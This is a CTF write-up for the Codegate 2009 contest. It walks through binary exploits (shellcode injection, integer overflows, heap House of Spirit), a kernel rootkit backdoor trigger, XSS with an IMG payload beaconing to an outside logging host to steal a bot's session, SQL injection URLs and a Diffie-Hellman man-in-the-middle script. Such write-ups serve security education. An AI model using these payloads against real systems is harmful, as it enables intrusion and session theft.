codegate2009
codegate2009
Contents
1 Challenge 1 3
1.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2 Challenge 2 4
2.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
3 Challenge 3 5
3.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3.1.1 String length . . . . . . . . . . . . . . . . . . . . . . . . . 5
3.1.2 Substring length . . . . . . . . . . . . . . . . . . . . . . . 5
3.1.3 String copy . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3.2 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
4 Challenge 4 6
4.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
4.1.1 main function . . . . . . . . . . . . . . . . . . . . . . . . . 6
4.1.2 Pseudo code of cpy function . . . . . . . . . . . . . . . . 7
4.2 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
4.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
5 Challenge 5 8
5.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
5.2 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
5.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
6 Challenge 6 9
6.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
6.1.1 init_module . . . . . . . . . . . . . . . . . . . . . . . . . 10
6.1.2 loading_helper . . . . . . . . . . . . . . . . . . . . . . . 10
6.1.3 insert_idt_handler . . . . . . . . . . . . . . . . . . . . 11
6.1.4 naked_entry (SYSENTER handler) . . . . . . . . . . . . . . 11
6.1.5 handler_stage_2 . . . . . . . . . . . . . . . . . . . . . . 11
1
6.1.6 bad_naked_entry (INT 6 handler) . . . . . . . . . . . . . 12
6.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
7 Challenge 7 13
7.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
7.1.1 Entry point . . . . . . . . . . . . . . . . . . . . . . . . . . 13
7.1.2 Constructor . . . . . . . . . . . . . . . . . . . . . . . . . . 13
7.1.3 Setting protection on the stack . . . . . . . . . . . . . . . 13
7.1.4 Pseudo-PaX in userland . . . . . . . . . . . . . . . . . . . 14
7.1.5 Address randomization . . . . . . . . . . . . . . . . . . . . 14
7.1.6 Wrapping main, wiping out the old stack . . . . . . . . . 14
7.1.7 Function main . . . . . . . . . . . . . . . . . . . . . . . . 14
7.2 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
7.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
8 Challenge 8 15
8.1 Vunerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
8.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
9 Challenge 9 15
10 Challenge 10 16
10.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
10.1.1 newseed . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
10.1.2 checks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
10.2 About rand . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
10.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
11 Challenge 11 18
12 Challenge 12 19
12.1 De-obfuscate obfuscated Javascript . . . . . . . . . . . . . . . . . 20
12.2 PHP Null Byte Vulnerability . . . . . . . . . . . . . . . . . . . . 20
13 Challenge 13 20
13.1 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
13.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
14 Challenge 14 21
15 Challenge 16 21
15.1 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
15.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
15.2.1 Source code disclosure . . . . . . . . . . . . . . . . . . . . 21
15.2.2 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . 21
16 Challenge 17 22
16.1 Vunerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
16.2 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2
17 Challenge 18 22
17.1 The Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
17.1.1 Step 1 – client sends his RSA public-key (e & n) to server 23
17.1.2 Step 2 – server sends DH’s g, p, and A = g x (mod p) to
client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
17.1.3 Step 3 – client sends B = g y (mod p) and B’s RSA
signature to server . . . . . . . . . . . . . . . . . . . . . . 23
17.1.4 Step 4 – server and client starts exchanging AES en-
crypted data . . . . . . . . . . . . . . . . . . . . . . . . . 23
17.2 Protocol Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . 24
17.2.1 Weak RSA public-key’s n . . . . . . . . . . . . . . . . . . 24
17.2.2 Man-In-The-Middle Attacks against DH protocol . . . . . 24
17.3 How We Nail This Challenge . . . . . . . . . . . . . . . . . . . . 24
17.4 Acknowledgment . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
18 Challenge 21 26
18.1 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
18.1.1 check_secure . . . . . . . . . . . . . . . . . . . . . . . . 26
18.1.2 srand and atoi . . . . . . . . . . . . . . . . . . . . . . . 26
18.1.3 watch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
18.1.4 Pseudo C code . . . . . . . . . . . . . . . . . . . . . . . . 27
18.2 Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
18.3 Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
19 Acknowledgement 29
1 Challenge 1
This is an easy one. The beistcon1 binary first does xor the argv[1] with
0x42 using memfrob then points the return address of main to argv[1]. Hence,
when the program return from main, codes at argv[1] will be executed.
1.1 Analysis
The beistcon1’s pseudo source code as the following
3
int main(int argc, char **argv)
{
int len;
void *retaddr;
len = 0;
if (!argv[1])
{
puts("argv[1] is null");
exit(1);
}
if ( len > 23 )
exit(1);
len = strlen(argv[1]);
memfrob(argv[1], len);
retaddr = (char *)&retaddr + 0x0C; // return address;
printf("argv[1] = %s \n size = %d\n", argv[1], len);
*(int *)retaddr = argv[1];
}
1.2 Exploit
Just run ./beistcon1 <shellcode^0x42>
2 Challenge 2
2.1 Analysis
• The binary unzips a zipped input file containing hackme.txt
• Check if byte number 7 of zip file is 7
• Check if the password of zip file is *-_-*-_-*
2.2 Exploit
• Create a file hackme.txt containing the shellcode, preferably ASCII-encoded.
• Zip hackme.txt using PKZip with compress mode speed (by using this
mode we will have value 07 at byte 7th in the zip file’s header)
• Zip password must be: *-_-*-_-*
4
3 Challenge 3
This challenge contains an integer overflow.
3.1 Analysis
The binary sandwich is a dynamically linked executable. It takes command
line arguments in this format:
3.2 Vulnerability
The binary uses atoi to parse s, and n. This function may return negative
numbers if the input starts with -. So if s is negative, and n is a positive, the
sum of s + n may be less than the length of the input string.
3.3 Exploit
So, in order for us to overflow main’s stack frame, we need to copy more than
0x9C bytes with the following constraints:
• Input string must be less than 128 byte
• s could be negative
5
export STACK=aaaaBBBBaaaa
export CMD=./script
Then, we plug in the addresses of system function and CMD environment variable.
export STACK=<system>BBBB<CMD>
Finally, our input string is just a repeat of the address of STACK plus 4.
4 Challenge 4
The binary hotdog has a buffer overflow bug inside cpy function in which saved
frame pointer (EBP) of cpy can be overwritten. By modifying frame pointer
EBP, we can control the dest and src argument of memcpy which is called later
in main.
4.1 Analysis
4.1.1 main function
6
4.1.2 Pseudo code of cpy function
4.2 Vulnerability
There is a buffer overflow bug at the memcpy(buf, s, len). Maximum 12 bytes
can be overwritten after buf. Based on the memory layout, we can overwrite
the saved frame pointer of cpy in the stack.
By overwriting saved frame pointer EBP, after the program return from cpy,
we can control the value of EBP inside main function. Subsequently, we can
control the dest and src argument of memcpy which is called later in main.
4.3 Exploit
The hard part of exploiting this bug is that even though we can control dest and
src of memcpy via EBP, in order to change the execution flow of the program
to our own shellcode, we have to find a suitable value for ebp which satisfies the
following conditions:
1. src
(a) *(char **)(*((char *)[ebp-0x1C] + 4) + 8) (src) should points
to a place containning an address which will be executed after memcpy
return (for example the address points to our shell code).
(b) in order to get (a), the value at EBP − 0x1C should point to a
location which is either controllable or has a proper value to satisfy
(a).
2. dest
(a) EBP − 0x14 should point to a location which allows us to overwrite
something useful on the stack to change the program execution flow
(such as saved return address) within 16 bytes range.
7
By inspecting the memory layout, we found that we can overwrite the saved
return address of memcpy. If we set EBP = (location of saved return address +
0x14), then EBP −0x1C points back to our controllable input and EBP −0x14
points to the saved return address.
At the location EBP − 0x1C, we can set the value to the address of argc,
then:
• src pointer of memcpy will be argv[2]
• dest pointer (EBP − 0x14) points to the memcpy’s saved return address
So the memcpy at .text:08048523 will become memcpy(memcpy’s saved return
address, argv[2], 16). We can execute our own code when the program re-
turns from memcpy.
We build the input for hotdog as the following
argv[1] = [132 bytes shell code + padding][argc’s address][memcpy()’s re-
taddr + 0x14]
argv[2] = [address of our shellcode]
5 Challenge 5
This challenge contains an integer vulnerability.
5.1 Analysis
The binary hamburger is a dynamically linked executable. It takes command
line arguments in this format:
and replaces the string’s character at offset with the new value. The restric-
tion is the first argument must have less than 0x8000 characters.
The binary uses atoi to parse the second and third argument. Only two
bytes of the result of parsing the second argument is used as offset. All four
bytes of the result of parsing the third argument is used as value.
Then the first argument is copied into a local variable. Let’s call it BUF. The
binary writes value into
[BUF + offset], and finally prints BUF to stdout.
8
5.2 Vulnerability
As stated above, the binary uses atoi to parse the second argument. This
function returns a signed integer. In other words, it may return negative number
if the input starts with -.
So if we supply a negative offset, the binary will try to write a 4 bytes value
to an arbitrary address outside the buffer BUF. That means we’ve achieved a 4-
bytes-write-anything-anywhere primitive!
5.3 Exploit
It’s easy to exploit this vulnerability. First off, we calculate of f set = X −BU F ,
where X is the value of register ESP at the time the binary just enters cpy
function. In other words, [BUF + offset] will be the return address of cpy.
Based on our analysis, we set of f set = −31.
Then the third argument will become the new return address. If we look at
the stack just before cpy returns, we’ll see that it looks like this: [RIP][BUF].
May we remind you that BUF points to a buffer containing our first argument.
That means if we put shellcode into the first argument, and set the third argu-
ment to the address of a RET instruction, we will achieve a ret2ret1 and our
shellcode will be executed.
The final input is something like this
6 Challenge 6
A Loadable Kernel Module backdoor chpie_rootkit is installed on the system.
chpie_rootkit is a simple LKM rootkit which hooks the SYSENTER and inter-
rupt service routines for Invalid Opcode Exception (INT 6). It will set uid, euid,
fsuid, gid, egid, fsgid of a process to 1004 if the same process call SYSTENTER
with system call number 136 (__NR_personality) and then cause an invalid
opcode exception.
1 http://events.ccc.de/congress/2005/fahrplan/attachments/539-Paper_
AdvancedBufferOverflowMethods.pdf
9
6.1 Analysis
6.1.1 init_module
int init_module()
{
int err;
mcount();
/*
Save the old sysenter to sysenter_eip by reading SYSENTER_EIP_MSR
(0x176). This MSR contains the address which processor will jump
to when the SYSENTER instruction is executed.
*/
sysenter_eip = pv_cpu_ops.read_msr(MSR_IA32_SYSENTER_EIP, &err);
// call the loading_helper() function on all processors
on_each_cpu(loading_helper, 1, 0);
/*
Call insert_idt_handler() to hook INT 6 service routine (Invalid
Opcode Exception handler). The old handler is stored in
old_invalid_opcode_handler
*/
old_invalid_opcode_handler = insert_idt_handler(6, bad_naked_entry);
return 0;
}
6.1.2 loading_helper
10
This function calls pv_cpu_ops.write_msr to set MSR_IA32_SYSENTER_EIP
to the address of naked_entry as the new handler for SYSENTER.
6.1.3 insert_idt_handler
Above code replaces the ISR (Interrupt Service Routine) of Invalid Opcode
Exception (INT 6) with the address of bad_naked_entry.
Check for system call number 0x88 (__NR_personality 136), then call
handler_stage_2.
6.1.5 handler_stage_2
11
6.1.6 bad_naked_entry (INT 6 handler)
.text:080000C8 bad_naked_entry:
.text:080000C8 pushf
.text:080000C9 pusha
...
.text:080000E0 mov ebx, ds:bad_handler_entry_point
.text:080000E6 call ebx ; bad_handler
...
.text:080000EE popa
.text:080000EF popf
.text:080000F0 jmp ds:old_invalid_opcode_handler
int bad_handler()
{
mcount();
if ( current_task->pid == last_pid_checked_in )
{
current_task->fsuid = 1004;
current_task->fsgid = 1004;
current_task->gid = 1004;
current_task->egid = 1004;
current_task->uid = 1004;
current_task->euid = 1004;
}
}
6.2 Exploit
12
Listing 1: sol6.c
1 #include <s i g n a l . h>
2 void h a n d l e r ( int signum )
3 {
4 system ( " / b i n / sh " ) ;
5 exit (0) ;
6 }
7
8 int main ( ) {
9 s i g n a l ( SIGILL , h a n d l e r ) ;
10
11 __asm__(
12 " movl ␣ $0x88 , ␣%eax ␣ ␣ \n"
13 " c a l l ␣∗%g s : 0 x10 ␣ ␣ ␣ ␣ \n"
14 "ud2 ␣␣␣␣ ␣␣␣␣ ␣ ␣ ␣ \n"
15 );
16 }
$ ./sol6
$ id
uid=1004(earth) gid=1004(earth) groups=1002(beistcon)
$ cd /home/earth
$ cat .password
ij30pa@%^#fgPyfe
7 Challenge 7
This challange has many interesting protection techniques.
7.1 Analysis
The binary fus is statically linked with debuging symbols.
7.1.2 Constructor
Here is the twist. The program has one constructor defined. So before main is
called, this constructor is called first. The constructor is start.
13
7.1.4 Pseudo-PaX in userland
After mprotect is do_ldt. This function is similar to what Andrew described
in Pseudo PaX in Userland2 . It enforces non-executable stack.
7.2 Vulnerability
The function scanf does not check for input’s length. Therefore, we can overflow
main’s stack frame.
7.3 Exploit
First of all, since the stack is not executable, we cannot dump our shellcode in
the original stack. We could dump our shellcode in the new stack, but due to
the address randomization above, we cannot locate the address of our shellcode.
Secondly, the original stack is wiped out, so in order to use it, we have
to insert junk bytes to fill 0x15000 bytes of this stack, and hope that some
controllable environment variable is below 0xBFFEB000. We can do export
JUNK=‘python -c ’print “a” * 0x15000’‘ to fill this gap and then we stash
our shellcode with export EGG=....
Since we can’t execute code on the original stack, and we can’t locate the new
stack, we have to copy the shellcode to somewhere. We pick the heap. Reading
the memory map of the binary (cat /proc/<pid>/maps) shows us where the
heap starts.
In order for us to copy the shellcode currently in the original stack to the
heap, we are going to use strcpy.
This function is located at 0x0806EC20. However, 0x20 is a space and there-
fore cannot be used in scanf, so we need to pick another address, 0x0806EC1F.
This address contains a NOP instruction that perfectly leads us to strcpy.
Our tactic is to return to strcpy so that it will copy the shellcode into the
heap, and then returning into that shellcode in the heap.
2 http://felinemenace.org/~andrewg/Pseudo-PaX-in-userland/
14
Before we can use strcpy, we need to pick an address in the heap that does
not contain any characters that scanf treats specially. We pick 0x080E5050.
Finally, our exploit string is simply 0x14 bytes to fill the local variable, 4
bytes to fill saved frame pointer, the address of strcpy, the address of the heap,
the same address of the heap, and the address of our shellcode in the original
stack.
8 Challenge 8
8.1 Vunerability
XEcryption
8.2 Exploit
• XEcryption does not contain alphabet characters, and the hint is A=1,
B=2 so we must replace alphabet characters with numbers.
• nc 114.203.84.241 51215 | tr [a-i] [1-9] | tr j 0
• After cracking md5 hash and correctly entering it in, we have a shell with
id sun.
• cat /home/sun/.passwd
• We got the correct password for problem 8.
9 Challenge 9
We spent a lot of time on this challenge. We ran virtually all steganography
tools on it but found nothing.
When the hint was out, we googled and found the link http://math88.com.
ne.kr/crypto/picture/matahari-cipher.jpg. But in that link, the image
quality is so bad, we were barely able to recognize the mapping. So we got the
first decoded text like this picture.
15
After we got a clearer picture from the organizer, we corrected the text as:
welcometocodegatenextpasswordis#mahatariweneverforgotaboutyou#
And there goes our password.
10 Challenge 10
We did not solve this challenge within the time limit. So, what is discussed here
may not be the correct solution.
10.1 Analysis
The binary lotto uses newseed to initialize the Pseudo Random Number Gen-
erator (PRNG). Then it repeatedly calls rand to generate random numbers and
checks with the input numbers. If all eight input numbers match, the PRNG is
re-seeded and the process repeats until either we run out of money, or we hit
the time limit, or we win.
10.1.1 newseed
This function basically wraps up srand. It first reads 4 bytes from /dev/urandom
and feeds this integer to srand. Then it takes the least significant byte of that
seed, and calls rand that many times.
10.1.2 checks
This function uses bubble sort algorithm to sort two integer arrays. The boolean
returned value is set if all elements in each array match with the other.
16
are cyclically advanced one each time rand is called. Initially, rear is at the 0th
element, and front is at the 3rd element.
So, what rand does could be described succintly by this pseudo C code.
10.3 Exploit
This binary prints out the random numbers, which is derived from rand, fol-
lowing the equation (rand() & 0x3F ) + 1. By taking these values, minus 1, we
can fill in our table with 6 least significant bits produced by rand. Since we
are given 15 dollars initially, we can have maximum of 14 wrong guesses. Each
17
round gives us 8 values from rand hence after 4 rounds we will be able to com-
pletely fill our table. With that table, we can predict the next 6 least significant
bits that rand returns at 75% accuracy.
In summary, our strategy is:
1. fill our table in the first 4 rounds
2. predict the next value
3. add 1 to that value for 25% of time
11 Challenge 11
Basically, we identified the sequence as brilliant sequence.
166493 = 331 × 503
93623 = 251 × 373
50183 = 181 × 277
15251 = 101 × 151
551 = 19 × 29
And especially, 240000 = 400 × 600, which is our picture size. So we tried to
sequentially resize the picture to 331x503, 251x373, etc. and 19x29. And here
is what we got.
18
If you are not color blind like us, you probably can see it clearly says I am
Your No.1 Fan! But we weren’t so lucky, so we had to play with upper and
lower cases.
12 Challenge 12
This challenge is cool. It consists of two parts. The first part involves de-
obfuscate some obfuscated Javascript. The second part is to exploit a null byte
injection vulnerability in PHP.
19
12.1 De-obfuscate obfuscated Javascript
The JavaScript uses a series of character I to replace each alphabet character.
The trick to de-obfuscate this JavaScript is to start by replacing the longest
series of I by character z, then replacing the second longest series of I by y,
and so on.
The final result script was very clear. We could see the real HTML form if
we could bypass these two checks:
• It checked to see if we had a cookie named oldzombie. Firebug and
Firecookie would probably help.
• It checked if the URL contained mode=1. This was easy to bypass by
appending ?mode=1 to the current URL. Then it showed a HTML form,
asked us to register a username and password. The problem was we could
not register an account with username admin which was the only username
that allowed us to login.
13 Challenge 13
There is an XSS vulnerability in the challenge, and we were successful in running
some JavaScript code. But that took us no where, because the code is run on
our own machine. Later in the game, we were hinted that a bot regularly visited
this guest book therefore we needed to make it talk back to us.
13.1 Vulnerability
The id and val fields are vulnerable to HTML injection. However, id is limited
to 7 characters so it is of little use. We focus on val.
This field is filtered using black list approach. Moreover, the word IMG is not
black listed but blanked out. Therefore, in order to inject an IMG, one could try
IMIMGG.
13.2 Exploit
We monitored our web server’s access log, and placed this value into the val
field:
<IMIMGG src=“http://tools.4vn.org/cookie.log”>
Then only seconds later, we saw a HTTP request to our web server. The
Referer header of this HTTP request was http://114.203.84.231/w2_c0dE__/admin_z0mbi2.php.
Accessing that script, we found that it set a cookie Admin_Co0kie whose values
3 http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/
20
was admin/123qwe. With that cookie, when coming back to the main page of
the challenge, we got the password Il0VeHamSteR :~~.
14 Challenge 14
This challenge is easy enough. The source code is given, and it checks for a
cookie named REMOTE_ADDR. Then, the cookie’s value is passed through three
string replace operations. The first removes all 12, the second replaces all 7.,
and the third replaces all 0.. If the final result is 127.0.0.1, we have the
password.
Therefore, if we set that cookie value to 112277..00..00..1, we have
Congratulation! Password is ohno~caution!zombies!ahead!!!
15 Challenge 16
This challenge is fun. It has been 3 years since the last time we exploited a
MySQL injection vulnerability. Although we had the source code, it actually
took us a quite a while with the help of MySQL Injection Cheatsheet4 .
15.1 Vulnerability
• Source code disclosure: index.php.bak
• SQL injection in $go variable $result=@mysql_query("select lv from
web01 where lv=($go)") or die("nice try!");
15.2 Exploit
15.2.1 Source code disclosure
wget http://114.203.84.231/0002222_WeB02_222000/index.php.bak to get
source code
21
• ␣ is forbidden so we replaced it with /**/
Then the final version of $go was -1)/**/union/**/select/**/(char(51-1).
You can see the password by accessing this url (you may have to retry several
times):
http://114.203.84.231/0002222_WeB02_222000/index.php?val=-1)/**/union/**/select/**/(char(51-1)
16 Challenge 17
16.1 Vunerability
Numeric SQL Injection in answer post data.
16.2 Exploit
• The post variable answer only allows numbers from 0 to 9 and some special
chars \, /, *, | and it must contain the correct answer 1010100000011100101011111.
• So, this must be a numeric SQL injection. By putting ||1; at the end
of answer string, we will have all information from the table and get the
correct password for problem 17 in a post from Admin.
17 Challenge 18
This challenge is very interesting. There were only two teams who nailed it,
and, unfortunately, we were not one of them. We were very close, just minutes
away, from the final solution, but could not manage to solve it before the contest
ended. Anyway, we’re writing this writeup because we like it.
This is a cryptography challenge. The objective is to decrypt the communi-
cation between a server and a client, which play a protocol involving RSA digital
signature algorithm5 , Diffie-Hellman Key Agreement Protocol6 , and AES block
cipher7 .
22
17.1.1 Step 1 – client sends his RSA public-key (e & n) to server
The client starts the protocol by sending two numbers to the server. At first,
to be honest, we thought the first ten bytes number, which is a prime, is p in
the DH protocol. After a very long try-and-error process, we concluded that
this prime is in fact e in the client’s RSA public-key. If it is e, then the second
number, which is 38 bytes, should be n. We confirmed this theory in step 3.
These two numbers are the only static numbers of the protocol, which makes
sense since they are client’s RSA public-key. All other numbers are somewhat
random at first sight.
23
The data is of course encrypted using a 128-bit block cipher which we guess
is AES. What is the key? As you know, after completing step 3, the DH protocol
is done. In other words, the client and server can both derive a shared secret
which is Ay = B x = g (xy) (mod p). They use this shared secret as the key to
encrypt their data using AES.
In summary, the protocol consists of 4 steps which use RSA to verify data,
DH to derive a key, and AES to encrypt messages.
24
the server. Now we know the shared secret which, as stated in section 17.2,
equals to 1.
This shared secret is used as the key to encrypt subsequent messages using
AES. But how? This is where we were stuck and lost 400 points /. Since the
shared secret is only one byte but AES requires a 16 bytes, we thought that we
must do some calculation on it before actually use it to decrypt data.
At first, we tried to SHA1 the shared secret, and used the first 16 bytes
output as AES key. This is the key derivation method recommended in DH
Key Agreement Protocol. But Alex told us not to do that. So we tried other
methods, but, however, due to the lack of experience and time, we didn’t get
it until the contest was over. It was just 5 minutes /. The solution is simply
to zero padding the shared secret, to make it become something like ’\x01’
+ ’\x00’ * 15, and uses that as the key to decrypt the messages. Run the
attached Python script, and you’ll see the messages in cleartext.
Listing 2: sol18.py
1 #! / u s r / b i n / env python
2
3 import s o c k e t , time
4 import h a s h l i b
5 from Crypto . Cipher import AES, ARC4, XOR
6
7 host = ’ 114.203.84.234 ’
8 p o r t 1 = 9000
9 p o r t 2 = 9382
10
11 s 1 = s o c k e t . s o c k e t ( s o c k e t . AF_INET, s o c k e t .SOCK_STREAM)
12 s 2 = s o c k e t . s o c k e t ( s o c k e t . AF_INET, s o c k e t .SOCK_STREAM)
13
14 s 1 . c o n n e c t ( ( host , p o r t 1 ) )
15 s 2 . c o n n e c t ( ( host , p o r t 2 ) )
16
17 # s t e p 1 : c l i e n t s e n d s RSA p u b l i c −key t o s e r v e r
18 data2 = s 2 . r e c v ( 1 0 2 4 )
19 s 1 . send ( data2 )
20
21 # step 2: server sends g , p , A to c l i e n t
22 data1 = s 1 . r e c v ( 1 0 2 4 ) # open p o r t msg
23 data1 = s 1 . r e c v ( 1 0 2 4 )
24 # set A = 1
25 tmp1 = data1 . s p l i t ( " \ x00 \ x00 \ x00 \ x00 " )
26 data1 = tmp1 [ 0 ] + " \ x00 \ x00 \ x00 \ x00 " + tmp1 [ 1 ] + " \ x00 \
x00 \ x00 \ x00 " + " 0 " + " \ x00 \ x00 \ x00 \ x00 "
27 s 2 . send ( data1 )
28
29 # s t e p 3 : c l i e n t s e n d s B t o s e r v e r
30 data2 = s 2 . r e c v ( 1 0 2 4 )
31 data2 = data2 + s 2 . r e c v ( 1 0 2 4 )
32 # s e t B = 1 , and t h e r e f o r e s i g n a t u r e i s a l s o 1
33 data2 = " 1 " + " \ x00 \ x00 \ x00 \ x00 " + " 1 " + " \ x00 \ x00 \ x00 \
25
x00 "
34 s 1 . send ( data2 )
35
36 # s t e p 4 : t h e key i s now 1
37 # f i r s t msg
38 key = " \ x01 " + " \ x00 " ∗ 15
39 data1 = s 1 . r e c v ( 1 0 2 4 )
40 c r y p t = AES . new ( key )
41 print c r y p t . d e c r y p t ( data1 )
42 s 2 . send ( data1 )
43 # second msg
44 data2 = s 2 . r e c v ( 1 0 2 4 )
45 c r y p t = AES . new ( key )
46 print c r y p t . d e c r y p t ( data2 )
47 s 2 . send ( data2 )
48 # and so f o r t h . . .
17.4 Acknowledgment
Alex, thank you so much for giving this gift to us. It was very nice of you to
answer us many questions about this challenge. We’re looking forward to seeing
more cryptography challenges from you and BeistLab. Thanks somebody (sorry
that we forgot your nick name) in #codegate for suggesting us to look at the
value of each number in the second step of the protocol.
18 Challenge 21
We could not solve this challenge in time so what is described here may be
wrong.
18.1 Analysis
The binary randcode takes on arguments, which is later on passed to atoi to
convert to an integer.
18.1.1 check_secure
First, the binary checks to see if it is running in secure mode. It does this
by examining the AT_SECURE entry in the auxilliary table. If it is, the return
value is 1, if not, check_secure returns time(NULL). At the same time, a global
variable checked_in is also set.
26
18.1.3 watch
This function is the crux of the binary.
At the beginning, it calls rand two times, stores the returned values, calls
malloc, and stores the returned pointer to &buffer[16], where buffer is a
global buffer..
Then if it is running in secure mode, the passed in argument minus 1 is taken
as the length for read, if not, the length is set at 0x14. And read is called to
read into buffer.
What has been read in buffer is converted to integer via atoi and compared
with the stored rand values. This value must match either one for watch to
proceed.
Then the pointer at &buffer[16] is passed to free. And immediately after
that is malloc(0x1C) and read(0x1C).
The rest of the function is not so critical.
Listing 3: randcode.c
1 int main ( int argc , char ∗∗ argv , char ∗∗ envp )
2 {
3 i f ( a r g c <= 1 )
4 exit (0) ;
5
6 s r a n d ( c h e c k _ s e c u r e ( envp ) ) ;
7 i f ( watch ( a t o i ( argv [ 1 ] ) ) )
8 {
9 setresuid ( getuid () , getuid () , getuid () ) ;
10 system ( " / b i n / sh " ) ;
11 }
12 exit (0) ;
13 }
14
15 int checked_in ;
16 int c h e c k _ s e c u r e ( char ∗ envp [ ] )
17 {
18 int i ;
19 char ∗∗p ;
20
21 i = 0;
22 while ( ∗ envp++) ;
23 p = envp ;
24 while ( ∗ p )
25 {
26 i f ( ∗ p == 2 3 )
27 {
28 checked_in = ( int ) ∗ ( p + 1 ) ;
29 i f ( checked_in )
30 return ( int ) ∗ ( p + 1 ) ;
27
31 }
32 p += 2 ;
33 }
34 return time ( 0 ) ;
35 }
36
37 char b u f f e r [ 2 0 ] ;
38 int watch ( int a r g ) {
39 int i ;
40 int ∗p ;
41 int r 1 ;
42 int r 2 ;
43 int l e n ;
44 int r e t = 0 ;
45
46 r 1 = rand ( ) ;
47 r 2 = rand ( ) ;
48 ∗ ( int ∗ ) &b u f f e r [ 1 6 ] = m a l l o c ( 4 ) ;
49
50 i f ( ! ∗ ( int ∗ ) &b u f f e r [ 1 6 ] )
51 {
52 puts ( " a c c e s s ␣ denied . " ) ;
53 exit (0) ;
54 }
55
56 i f ( checked_in )
57 len = arg − 1 ;
58 else
59 len = 20;
60
61 read (0 , buffer , len ) ;
62 i f ( a t o i ( b u f f e r ) == r 1 | | a t o i ( b u f f e r ) == r 2 )
63 {
64 f r e e ( ∗ ( char ∗ ∗ ) &b u f f e r [ 1 6 ] ) ;
65 p = malloc (28) ;
66
67 i f (p)
68 {
69 i f ( r e a d ( 0 , p , 2 8 ) == 2 8 )
70 {
71 i f ( rand ( ) == a r g )
72 {
73 f o r ( i = 0 ; i <= 6 ; i ++)
74 i f ( rand ( ) != p [ i ] )
75 return 0 ;
76 ret = 1;
77 }
78 }
79 }
80 }
28
81
82 return r e t ;
83 }
18.2 Vulnerability
• BSS overflow: The buffer could be overflown if argv[1] is a big enough
integer, and the binary is running in secure mode. But we are gonna take
on the second bug instead.
• Possible control of heap metadata: The bug is in the watch function at
line 61. We can control the pointer at &buffer[16] which will be used as
an input for free at line 64. Subsequently, a malloc(28) will be called
and 28 bytes will be read from stdin to the address returned by malloc.
By using the “The House of Spirit” technique described in “The Malloc
Maleficarum” 10 , we can overwrite the saved return address of watch if we
can find the proper location to build the fakechunk with valid size and
nextsize.
18.3 Exploit
Address of len is 32 bytes away from the argument of watch (value = atoi(argv[1])).
Also the address of len + 4 is 0xBFFFF808 which is an aligned address. This is
a perfect combination which can be used to pass all the internal chunk integrity
check of free inside GLibC.
len
0xbffff7fc: 0x00000014 0xb7fd9380 0x00000014 0x462f467d
0xbffff80c: 0x2517e33e 0xbffff9eb 0x00000000 0xb7fd8ff4
0xbffff81c: 0xbffff838 0x0804880a 0x00000021 0x0804886b
^^^^^^^^^^ ^^^^^^^^^^
saved return address arg
If we run suid ./randcode with argv[1] equals 33, len will be 32. And then
we can set the value at &buffer[16] after the read(0, buffer, len) to point
to the address of len + 4 (0xBFFFF808). The free call will success. The
subsequent p = malloc(28) will return 0xBFFFF808. In the next read(0,
p, 28), we can overwrite saved return address of watch with our own value
(0x08048831 is a good choice since it points to system("/bin/sh") without the
privilege dropping setresuid(getuid(), getuid(), getuid()) in main. So
long and thanks for all the fun!
19 Acknowledgement
We thank the following persons who have read through this document and given
us valuable feedbacks:
• Juliano of Netifera for correction in Challenge 18.
10 http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
29